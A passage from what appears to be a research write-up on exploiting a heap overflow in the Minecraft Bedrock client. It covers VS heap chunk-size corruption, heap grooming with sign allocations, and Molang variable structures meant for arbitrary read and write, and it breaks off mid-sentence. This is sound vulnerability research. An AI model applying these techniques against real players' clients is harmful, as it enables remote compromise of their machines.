|UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[14384],{"type":26,"tag":83,"props":14385,"children":14386},{"__ignoreMap":8},[14387],{"type":32,"value":14382},{"type":26,"tag":39,"props":14389,"children":14390},{},[14391,14393,14399,14401,14407,14408,14414,14415,14421,14423,14428,14430,14436,14438,14444,14446,14451,14453,14459],{"type":32,"value":14392},"At offset 0 there is a header ",{"type":26,"tag":83,"props":14394,"children":14396},{"className":14395},[],[14397],{"type":32,"value":14398},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":32,"value":14400}," containing fields such as ",{"type":26,"tag":83,"props":14402,"children":14404},{"className":14403},[],[14405],{"type":32,"value":14406},"MemoryCost",{"type":32,"value":7599},{"type":26,"tag":83,"props":14409,"children":14411},{"className":14410},[],[14412],{"type":32,"value":14413},"UnsafeSize",{"type":32,"value":7599},{"type":26,"tag":83,"props":14416,"children":14418},{"className":14417},[],[14419],{"type":32,"value":14420},"UnsafePrevSize",{"type":32,"value":14422},", etc. For the attack we only care about the ",{"type":26,"tag":83,"props":14424,"children":14426},{"className":14425},[],[14427],{"type":32,"value":14413},{"type":32,"value":14429}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":26,"tag":83,"props":14431,"children":14433},{"className":14432},[],[14434],{"type":32,"value":14435},"0x10",{"type":32,"value":14437},", so for a chunk of size ",{"type":26,"tag":83,"props":14439,"children":14441},{"className":14440},[],[14442],{"type":32,"value":14443},"0x4010",{"type":32,"value":14445}," the value of ",{"type":26,"tag":83,"props":14447,"children":14449},{"className":14448},[],[14450],{"type":32,"value":14413},{"type":32,"value":14452}," would be ",{"type":26,"tag":83,"props":14454,"children":14456},{"className":14455},[],[14457],{"type":32,"value":14458},"0x401",{"type":32,"value":180},{"type":26,"tag":39,"props":14461,"children":14462},{},[14463,14465,14470],{"type":32,"value":14464},"This ",{"type":26,"tag":83,"props":14466,"children":14468},{"className":14467},[],[14469],{"type":32,"value":14413},{"type":32,"value":14471}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":26,"tag":39,"props":14473,"children":14474},{},[14475,14477,14482,14484,14489,14491,14497,14499,14504],{"type":32,"value":14476},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":26,"tag":83,"props":14478,"children":14480},{"className":14479},[],[14481],{"type":32,"value":14413},{"type":32,"value":14483}," in the smallest possible VS chunk (",{"type":26,"tag":83,"props":14485,"children":14487},{"className":14486},[],[14488],{"type":32,"value":14443},{"type":32,"value":14490},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":26,"tag":83,"props":14492,"children":14494},{"className":14493},[],[14495],{"type":32,"value":14496},"[0x10, 0xffff0]",{"type":32,"value":14498}," range, the probability that it exceeds ",{"type":26,"tag":83,"props":14500,"children":14502},{"className":14501},[],[14503],{"type":32,"value":14443},{"type":32,"value":14505}," is:",{"type":26,"tag":207,"props":14507,"children":14509},{"code":14508},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[14510],{"type":26,"tag":83,"props":14511,"children":14512},{"__ignoreMap":8},[14513],{"type":32,"value":14508},{"type":26,"tag":39,"props":14515,"children":14516},{},[14517],{"type":32,"value":14518},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":26,"tag":39,"props":14520,"children":14521},{},[14522],{"type":32,"value":14523},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":26,"tag":631,"props":14525,"children":14527},{"id":14526},"overlap-attack-overview",[14528],{"type":32,"value":14529},"Overlap Attack Overview",{"type":26,"tag":39,"props":14531,"children":14532},{},[14533,14535,14541],{"type":32,"value":14534},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":26,"tag":83,"props":14536,"children":14538},{"className":14537},[],[14539],{"type":32,"value":14540},"free()",{"type":32,"value":14542}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":26,"tag":39,"props":14544,"children":14545},{},[14546,14548,14553,14555,14560],{"type":32,"value":14547},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":26,"tag":83,"props":14549,"children":14551},{"className":14550},[],[14552],{"type":32,"value":10356},{"type":32,"value":14554},"-sized chunks in the free list that we want to avoid. If a ",{"type":26,"tag":83,"props":14556,"children":14558},{"className":14557},[],[14559],{"type":32,"value":10356},{"type":32,"value":14561},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":26,"tag":39,"props":14563,"children":14564},{},[14565,14567,14572],{"type":32,"value":14566},"To remove those ",{"type":26,"tag":83,"props":14568,"children":14570},{"className":14569},[],[14571],{"type":32,"value":10356},{"type":32,"value":14573},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":26,"tag":39,"props":14575,"children":14576},{},[14577],{"type":32,"value":14578},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":26,"tag":207,"props":14580,"children":14582},{"code":14581},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[14583],{"type":26,"tag":83,"props":14584,"children":14585},{"__ignoreMap":8},[14586],{"type":32,"value":14581},{"type":26,"tag":39,"props":14588,"children":14589},{},[14590,14592,14597,14599,14604],{"type":32,"value":14591},"Next we create ",{"type":26,"tag":65,"props":14593,"children":14594},{},[14595],{"type":32,"value":14596},"holes",{"type":32,"value":14598}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":26,"tag":83,"props":14600,"children":14602},{"className":14601},[],[14603],{"type":32,"value":10356},{"type":32,"value":14605},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":26,"tag":207,"props":14607,"children":14609},{"code":14608},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[14610],{"type":26,"tag":83,"props":14611,"children":14612},{"__ignoreMap":8},[14613],{"type":32,"value":14608},{"type":26,"tag":39,"props":14615,"children":14616},{},[14617,14619,14624,14626,14631],{"type":32,"value":14618},"When a ",{"type":26,"tag":83,"props":14620,"children":14622},{"className":14621},[],[14623],{"type":32,"value":10356},{"type":32,"value":14625}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":26,"tag":83,"props":14627,"children":14629},{"className":14628},[],[14630],{"type":32,"value":14413},{"type":32,"value":14632}," field will be overwritten:",{"type":26,"tag":207,"props":14634,"children":14636},{"code":14635},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[14637],{"type":26,"tag":83,"props":14638,"children":14639},{"__ignoreMap":8},[14640],{"type":32,"value":14635},{"type":26,"tag":39,"props":14642,"children":14643},{},[14644,14646,14651,14653,14658,14660,14665],{"type":32,"value":14645},"Once ",{"type":26,"tag":83,"props":14647,"children":14649},{"className":14648},[],[14650],{"type":32,"value":14413},{"type":32,"value":14652}," has been overwritten, ",{"type":26,"tag":83,"props":14654,"children":14656},{"className":14655},[],[14657],{"type":32,"value":10356},{"type":32,"value":14659}," allocation is freed immediately after, restoring the previous layout but with ",{"type":26,"tag":83,"props":14661,"children":14663},{"className":14662},[],[14664],{"type":32,"value":14413},{"type":32,"value":14666}," field corrupted:",{"type":26,"tag":207,"props":14668,"children":14670},{"code":14669},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[14671],{"type":26,"tag":83,"props":14672,"children":14673},{"__ignoreMap":8},[14674],{"type":32,"value":14669},{"type":26,"tag":39,"props":14676,"children":14677},{},[14678],{"type":32,"value":14679},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":26,"tag":207,"props":14681,"children":14683},{"code":14682},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[14684],{"type":26,"tag":83,"props":14685,"children":14686},{"__ignoreMap":8},[14687],{"type":32,"value":14682},{"type":26,"tag":39,"props":14689,"children":14690},{},[14691],{"type":32,"value":14692},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":26,"tag":207,"props":14694,"children":14696},{"code":14695},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[14697],{"type":26,"tag":83,"props":14698,"children":14699},{"__ignoreMap":8},[14700],{"type":32,"value":14695},{"type":26,"tag":11933,"props":14702,"children":14703},{},[],{"type":26,"tag":39,"props":14705,"children":14706},{},[14707],{"type":32,"value":14708},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":26,"tag":39,"props":14710,"children":14711},{},[14712],{"type":32,"value":14713},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":26,"tag":607,"props":14715,"children":14717},{"id":14716},"molang",[14718],{"type":32,"value":14719},"Molang",{"type":26,"tag":39,"props":14721,"children":14722},{},[14723,14725,14732],{"type":32,"value":14724},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":26,"tag":163,"props":14726,"children":14729},{"href":14727,"rel":14728},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[167],[14730],{"type":32,"value":14731},"syntax guide",{"type":32,"value":180},{"type":26,"tag":39,"props":14734,"children":14735},{},[14736,14738,14743,14744,14749],{"type":32,"value":14737},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":26,"tag":83,"props":14739,"children":14741},{"className":14740},[],[14742],{"type":32,"value":9106},{"type":32,"value":1308},{"type":26,"tag":83,"props":14745,"children":14747},{"className":14746},[],[14748],{"type":32,"value":9720},{"type":32,"value":14750}," operators are supported.",{"type":26,"tag":39,"props":14752,"children":14753},{},[14754,14756,14762,14764,14770,14772,14777,14778,14784,14786],{"type":32,"value":14755},"Variables are defined by prepending ",{"type":26,"tag":83,"props":14757,"children":14759},{"className":14758},[],[14760],{"type":32,"value":14761},"variable.",{"type":32,"value":14763}," to the name and assigning a value. For example, to define ",{"type":26,"tag":83,"props":14765,"children":14767},{"className":14766},[],[14768],{"type":32,"value":14769},"result",{"type":32,"value":14771}," as the sum of ",{"type":26,"tag":83,"props":14773,"children":14775},{"className":14774},[],[14776],{"type":32,"value":163},{"type":32,"value":1308},{"type":26,"tag":83,"props":14779,"children":14781},{"className":14780},[],[14782],{"type":32,"value":14783},"b",{"type":32,"value":14785},": ",{"type":26,"tag":83,"props":14787,"children":14789},{"className":14788},[],[14790],{"type":32,"value":14791},"variable.result = variable.a + variable.b;",{"type":26,"tag":39,"props":14793,"children":14794},{},[14795,14797,14803,14804,14810,14811,14816,14817,14822],{"type":32,"value":14796},"Logical operators such as ",{"type":26,"tag":83,"props":14798,"children":14800},{"className":14799},[],[14801],{"type":32,"value":14802},"||",{"type":32,"value":7599},{"type":26,"tag":83,"props":14805,"children":14807},{"className":14806},[],[14808],{"type":32,"value":14809},"&&",{"type":32,"value":7599},{"type":26,"tag":83,"props":14812,"children":14814},{"className":14813},[],[14815],{"type":32,"value":7289},{"type":32,"value":7599},{"type":26,"tag":83,"props":14818,"children":14820},{"className":14819},[],[14821],{"type":32,"value":5903},{"type":32,"value":14823},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":26,"tag":207,"props":14825,"children":14827},{"code":14826},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[14828],{"type":26,"tag":83,"props":14829,"children":14830},{"__ignoreMap":8},[14831],{"type":32,"value":14826},{"type":26,"tag":39,"props":14833,"children":14834},{},[14835],{"type":32,"value":14836},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":26,"tag":631,"props":14838,"children":14840},{"id":14839},"molang-internals",[14841],{"type":32,"value":14842},"Molang Internals",{"type":26,"tag":39,"props":14844,"children":14845},{},[14846],{"type":32,"value":14847},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":26,"tag":39,"props":14849,"children":14850},{},[14851],{"type":32,"value":14852},"Below we describe the structures involved and their memory layout.",{"type":26,"tag":631,"props":14854,"children":14856},{"id":14855},"molangvariable-and-molangscriptarg",[14857],{"type":32,"value":14858},"MolangVariable and MolangScriptArg",{"type":26,"tag":39,"props":14860,"children":14861},{},[14862,14864,14870],{"type":32,"value":14863},"A ",{"type":26,"tag":83,"props":14865,"children":14867},{"className":14866},[],[14868],{"type":32,"value":14869},"MolangVariable",{"type":32,"value":14871}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":26,"tag":207,"props":14873,"children":14875},{"code":14874,"language":2255,"meta":8,"className":9574,"style":8},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[14876],{"type":26,"tag":83,"props":14877,"children":14878},{"__ignoreMap":8},[14879,14891,14898,14911,14924,14932,14939,14946,14958,14971,14983,15013,15021,15029,15036],{"type":26,"tag":217,"props":14880,"children":14881},{"class":7028,"line":7029},[14882,14886],{"type":26,"tag":217,"props":14883,"children":14884},{"style":7154},[14885],{"type":32,"value":12224},{"type":26,"tag":217,"props":14887,"children":14888},{"style":7048},[14889],{"type":32,"value":14890}," MolangVariable {\n",{"type":26,"tag":217,"props":14892,"children":14893},{"class":7028,"line":6770},[14894],{"type":26,"tag":217,"props":14895,"children":14896},{"style":7048},[14897],{"type":32,"value":9890},{"type":26,"tag":217,"props":14899,"children":14900},{"class":7028,"line":6779},[14901,14906],{"type":26,"tag":217,"props":14902,"children":14903},{"style":7154},[14904],{"type":32,"value":14905},"    struct",{"type":26,"tag":217,"props":14907,"children":14908},{"style":7048},[14909],{"type":32,"value":14910}," HashedString {\n",{"type":26,"tag":217,"props":14912,"children":14913},{"class":7028,"line":7140},[14914,14919],{"type":26,"tag":217,"props":14915,"children":14916},{"style":7154},[14917],{"type":32,"value":14918},"        uint64_t",{"type":26,"tag":217,"props":14920,"children":14921},{"style":7048},[14922],{"type":32,"value":14923}," variable_name_hash;\n",{"type":26,"tag":217,"props":14925,"children":14926},{"class":7028,"line":7165},[14927],{"type":26,"tag":217,"props":14928,"children":14929},{"style":7048},[14930],{"type":32,"value":14931},"        std::string variable_name;\n",{"type":26,"tag":217,"props":14933,"children":14934},{"class":7028,"line":7178},[14935],{"type":26,"tag":217,"props":14936,"children":14937},{"style":7048},[14938],{"type":32,"value":12298},{"type":26,"tag":217,"props":14940,"children":14941},{"class":7028,"line":7389},[14942],{"type":26,"tag":217,"props":14943,"children":14944},{"style":7048},[14945],{"type":32,"value":9890},{"type":26,"tag":217,"props":14947,"children":14948},{"class":7028,"line":7406},[14949,14953],{"type":26,"tag":217,"props":14950,"children":14951},{"style":7154},[14952],{"type":32,"value":14905},{"type":26,"tag":217,"props":14954,"children":14955},{"style":7048},[14956],{"type":32,"value":14957}," MolangScriptArg {\n",{"type":26,"tag":217,"props":14959,"children":14960},{"class":7028,"line":7439},[14961,14966],{"type":26,"tag":217,"props":14962,"children":14963},{"style":7154},[14964],{"type":32,"value":14965},"        uint32_t",{"type":26,"tag":217,"props":14967,"children":14968},{"style":7048},[14969],{"type":32,"value":14970}," value_type;\n",{"type":26,"tag":217,"props":14972,"children":14973},{"class":7028,"line":7487},[14974,14978],{"type":26,"tag":217,"props":14975,"children":14976},{"style":7154},[14977],{"type":32,"value":14918},{"type":26,"tag":217,"props":14979,"children":14980},{"style":7048},[14981],{"type":32,"value":14982}," value;\n",{"type":26,"tag":217,"props":14984,"children":14985},{"class":7028,"line":7524},[14986,14991,14995,14999,15004,15008],{"type":26,"tag":217,"props":14987,"children":14988},{"style":7048},[14989],{"type":32,"value":14990},"        std::vector",{"type":26,"tag":217,"props":14992,"children":14993},{"style":7149},[14994],{"type":32,"value":7289},{"type":26,"tag":217,"props":14996,"children":14997},{"style":7154},[14998],{"type":32,"value":12224},{"type":26,"tag":217,"props":15000,"children":15001},{"style":7048},[15002],{"type":32,"value":15003}," MolangScriptArg",{"type":26,"tag":217,"props":15005,"children":15006},{"style":7149},[15007],{"type":32,"value":5903},{"type":26,"tag":217,"props":15009,"children":15010},{"style":7048},[15011],{"type":32,"value":15012}," struct_fields;\n",{"type":26,"tag":217,"props":15014,"children":15015},{"class":7028,"line":7553},[15016],{"type":26,"tag":217,"props":15017,"children":15018},{"style":7048},[15019],{"type":32,"value":15020},"        \n",{"type":26,"tag":217,"props":15022,"children":15023},{"class":7028,"line":7570},[15024],{"type":26,"tag":217,"props":15025,"children":15026},{"style":7048},[15027],{"type":32,"value":15028},"        [...]\n",{"type":26,"tag":217,"props":15030,"children":15031},{"class":7028,"line":7621},[15032],{"type":26,"tag":217,"props":15033,"children":15034},{"style":7048},[15035],{"type":32,"value":12298},{"type":26,"tag":217,"props":15037,"children":15038},{"class":7028,"line":7672},[15039],{"type":26,"tag":217,"props":15040,"children":15041},{"style":7048},[15042],{"type":32,"value":12331},{"type":26,"tag":39,"props":15044,"children":15045},{},[15046,15048,15053],{"type":32,"value":15047},"In memory a ",{"type":26,"tag":83,"props":15049,"children":15051},{"className":15050},[],[15052],{"type":32,"value":14869},{"type":32,"value":15054}," instance resembles:",{"type":26,"tag":207,"props":15056,"children":15058},{"code":15057},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[15059],{"type":26,"tag":83,"props":15060,"children":15061},{"__ignoreMap":8},[15062],{"type":32,"value":15057},{"type":26,"tag":39,"props":15064,"children":15065},{},[15066],{"type":32,"value":15067},"For reference, example debugger view of the layout:",{"type":26,"tag":39,"props":15069,"children":15070},{},[15071],{"type":26,"tag":6468,"props":15072,"children":15074},{"alt":9464,"src":15073},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":26,"tag":39,"props":15076,"children":15077},{},[15078],{"type":32,"value":15079},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":26,"tag":39,"props":15081,"children":15082},{},[15083,15085,15091,15093,15099,15101,15107,15109,15114,15115,15120,15122,15128,15129,15135,15136,15142],{"type":32,"value":15084},"We only care about the ",{"type":26,"tag":83,"props":15086,"children":15088},{"className":15087},[],[15089],{"type":32,"value":15090},"MolangScriptArg",{"type":32,"value":15092}," beginning at offset ",{"type":26,"tag":83,"props":15094,"children":15096},{"className":15095},[],[15097],{"type":32,"value":15098},"0x30",{"type":32,"value":15100}," because it contains variable values. In the screenshot above, the ",{"type":26,"tag":83,"props":15102,"children":15104},{"className":15103},[],[15105],{"type":32,"value":15106},"value_type",{"type":32,"value":15108}," at ",{"type":26,"tag":83,"props":15110,"children":15112},{"className":15111},[],[15113],{"type":32,"value":15098},{"type":32,"value":1681},{"type":26,"tag":83,"props":15116,"children":15118},{"className":15117},[],[15119],{"type":32,"value":1883},{"type":32,"value":15121}," (meaning float), and the ",{"type":26,"tag":83,"props":15123,"children":15125},{"className":15124},[],[15126],{"type":32,"value":15127},"value",{"type":32,"value":15108},{"type":26,"tag":83,"props":15130,"children":15132},{"className":15131},[],[15133],{"type":32,"value":15134},"0x38",{"type":32,"value":1681},{"type":26,"tag":83,"props":15137,"children":15139},{"className":15138},[],[15140],{"type":32,"value":15141},"0xbf2070c8",{"type":32,"value":180},{"type":26,"tag":39,"props":15144,"children":15145},{},[15146,15148,15154,15156,15161,15163,15168,15170,15175,15177,15182,15184,15190],{"type":32,"value":15147},"During assignment, such as ",{"type":26,"tag":83,"props":15149,"children":15151},{"className":15150},[],[15152],{"type":32,"value":15153},"variable.a = variable.b",{"type":32,"value":15155},", each field of ",{"type":26,"tag":83,"props":15157,"children":15159},{"className":15158},[],[15160],{"type":32,"value":15090},{"type":32,"value":15162}," is copied from variable ",{"type":26,"tag":83,"props":15164,"children":15166},{"className":15165},[],[15167],{"type":32,"value":14783},{"type":32,"value":15169}," to ",{"type":26,"tag":83,"props":15171,"children":15173},{"className":15172},[],[15174],{"type":32,"value":163},{"type":32,"value":15176},". Interestingly, the ",{"type":26,"tag":83,"props":15178,"children":15180},{"className":15179},[],[15181],{"type":32,"value":15127},{"type":32,"value":15183}," field is always copied as a ",{"type":26,"tag":83,"props":15185,"children":15187},{"className":15186},[],[15188],{"type":32,"value":15189},"uint64_t",{"type":32,"value":15191}," even if the type is a 32-bit float.",{"type":26,"tag":39,"props":15193,"children":15194},{},[15195,15197,15203],{"type":32,"value":15196},"Each entity stores its variables in a per-entity vector called ",{"type":26,"tag":83,"props":15198,"children":15200},{"className":15199},[],[15201],{"type":32,"value":15202},"MolangVariableMap",{"type":32,"value":180},{"type":26,"tag":631,"props":15205,"children":15207},{"id":15206},"molangvariablemap",[15208],{"type":32,"value":15202},{"type":26,"tag":39,"props":15210,"children":15211},{},[15212,15217,15219,15225,15227,15233],{"type":26,"tag":83,"props":15213,"children":15215},{"className":15214},[],[15216],{"type":32,"value":15202},{"type":32,"value":15218}," is simply a ",{"type":26,"tag":83,"props":15220,"children":15222},{"className":15221},[],[15223],{"type":32,"value":15224},"std::vector\u003CMolangVariable *>",{"type":32,"value":15226}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":26,"tag":83,"props":15228,"children":15230},{"className":15229},[],[15231],{"type":32,"value":15232},"std::vector",{"type":32,"value":15234}," layout:",{"type":26,"tag":207,"props":15236,"children":15238},{"code":15237,"language":2255,"meta":8,"className":9574,"style":8},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[15239],{"type":26,"tag":83,"props":15240,"children":15241},{"__ignoreMap":8},[15242,15254,15271,15287,15303],{"type":26,"tag":217,"props":15243,"children":15244},{"class":7028,"line":7029},[15245,15249],{"type":26,"tag":217,"props":15246,"children":15247},{"style":7154},[15248],{"type":32,"value":12224},{"type":26,"tag":217,"props":15250,"children":15251},{"style":7048},[15252],{"type":32,"value":15253}," vector {\n",{"type":26,"tag":217,"props":15255,"children":15256},{"class":7028,"line":6770},[15257,15262,15266],{"type":26,"tag":217,"props":15258,"children":15259},{"style":7154},[15260],{"type":32,"value":15261},"    void",{"type":26,"tag":217,"props":15263,"children":15264},{"style":7149},[15265],{"type":32,"value":9690},{"type":26,"tag":217,"props":15267,"children":15268},{"style":7048},[15269],{"type":32,"value":15270},"buf;\n",{"type":26,"tag":217,"props":15272,"children":15273},{"class":7028,"line":6779},[15274,15278,15282],{"type":26,"tag":217,"props":15275,"children":15276},{"style":7154},[15277],{"type":32,"value":15261},{"type":26,"tag":217,"props":15279,"children":15280},{"style":7149},[15281],{"type":32,"value":9690},{"type":26,"tag":217,"props":15283,"children":15284},{"style":7048},[15285],{"type":32,"value":15286},"len;\n",{"type":26,"tag":217,"props":15288,"children":15289},{"class":7028,"line":7140},[15290,15294,15298],{"type":26,"tag":217,"props":15291,"children":15292},{"style":7154},[15293],{"type":32,"value":15261},{"type":26,"tag":217,"props":15295,"children":15296},{"style":7149},[15297],{"type":32,"value":9690},{"type":26,"tag":217,"props":15299,"children":15300},{"style":7048},[15301],{"type":32,"value":15302},"cap;\n",{"type":26,"tag":217,"props":15304,"children":15305},{"class":7028,"line":7165},[15306],{"type":26,"tag":217,"props":15307,"children":15308},{"style":7048},[15309],{"type":32,"value":12331},{"type":26,"tag":39,"props":15311,"children":15312},{},[15313,15318,15320,15326,15328,15334,15336,15341,15342,15347],{"type":26,"tag":83,"props":15314,"children":15316},{"className":15315},[],[15317],{"type":32,"value":12342},{"type":32,"value":15319}," points to the allocated array of elements, ",{"type":26,"tag":83,"props":15321,"children":15323},{"className":15322},[],[15324],{"type":32,"value":15325},"len",{"type":32,"value":15327}," points just past the last used element, and ",{"type":26,"tag":83,"props":15329,"children":15331},{"className":15330},[],[15332],{"type":32,"value":15333},"cap",{"type":32,"value":15335}," points to the end of the allocated buffer. Notably, the types of ",{"type":26,"tag":83,"props":15337,"children":15339},{"className":15338},[],[15340],{"type":32,"value":15325},{"type":32,"value":1308},{"type":26,"tag":83,"props":15343,"children":15345},{"className":15344},[],[15346],{"type":32,"value":15333},{"type":32,"value":15348}," aren't typical integer types for sizes, but both are pointers.",{"type":26,"tag":39,"props":15350,"children":15351},{},[15352],{"type":32,"value":15353},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":26,"tag":207,"props":15355,"children":15357},{"code":15356},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[15358],{"type":26,"tag":83,"props":15359,"children":15360},{"__ignoreMap":8},[15361],{"type":32,"value":15356},{"type":26,"tag":39,"props":15363,"children":15364},{},[15365,15367,15373,15375,15381],{"type":32,"value":15366},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":26,"tag":83,"props":15368,"children":15370},{"className":15369},[],[15371],{"type":32,"value":15372},"variable.result",{"type":32,"value":15374},") may differ between entities. To get around this, ",{"type":26,"tag":83,"props":15376,"children":15378},{"className":15377},[],[15379],{"type":32,"value":15380},"MolangIndexMap",{"type":32,"value":15382}," is used to map a global variable name to the correct per-entity slot.",{"type":26,"tag":631,"props":15384,"children":15386},{"id":15385},"molangindexmap",[15387],{"type":32,"value":15380},{"type":26,"tag":39,"props":15389,"children":15390},{},[15391,15396,15398,15404,15406,15412],{"type":26,"tag":83,"props":15392,"children":15394},{"className":15393},[],[15395],{"type":32,"value":15380},{"type":32,"value":15397}," is a per-entity ",{"type":26,"tag":83,"props":15399,"children":15401},{"className":15400},[],[15402],{"type":32,"value":15403},"std::vector\u003Cuint16_t>",{"type":32,"value":15405},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":26,"tag":83,"props":15407,"children":15409},{"className":15408},[],[15410],{"type":32,"value":15411},"variable.result = 0",{"type":32,"value":15413}," it:",{"type":26,"tag":6712,"props":15415,"children":15416},{},[15417,15427,15437],{"type":26,"tag":2044,"props":15418,"children":15419},{},[15420,15422],{"type":32,"value":15421},"Checks the global hashmap for ",{"type":26,"tag":83,"props":15423,"children":15425},{"className":15424},[],[15426],{"type":32,"value":14769},{"type":26,"tag":2044,"props":15428,"children":15429},{},[15430,15432],{"type":32,"value":15431},"If found, uses the global index to look up the per-entity index in ",{"type":26,"tag":83,"props":15433,"children":15435},{"className":15434},[],[15436],{"type":32,"value":15380},{"type":26,"tag":2044,"props":15438,"children":15439},{},[15440,15442],{"type":32,"value":15441},"If not found, creates a new global entry and assigns it ",{"type":26,"tag":83,"props":15443,"children":15445},{"className":15444},[],[15446],{"type":32,"value":15447},"last_index + 1",{"type":26,"tag":39,"props":15449,"children":15450},{},[15451,15453,15458,15460,15465,15467,15472,15474,15479,15481,15486,15488,15494,15496,15501],{"type":32,"value":15452},"This means the same global index for variable ",{"type":26,"tag":83,"props":15454,"children":15456},{"className":15455},[],[15457],{"type":32,"value":14769},{"type":32,"value":15459}," maps to the same position inside every entity’s ",{"type":26,"tag":83,"props":15461,"children":15463},{"className":15462},[],[15464],{"type":32,"value":15380},{"type":32,"value":15466},", but the actual ",{"type":26,"tag":83,"props":15468,"children":15470},{"className":15469},[],[15471],{"type":32,"value":14869},{"type":32,"value":15473}," for ",{"type":26,"tag":83,"props":15475,"children":15477},{"className":15476},[],[15478],{"type":32,"value":14769},{"type":32,"value":15480}," may live at different slots inside each entity's 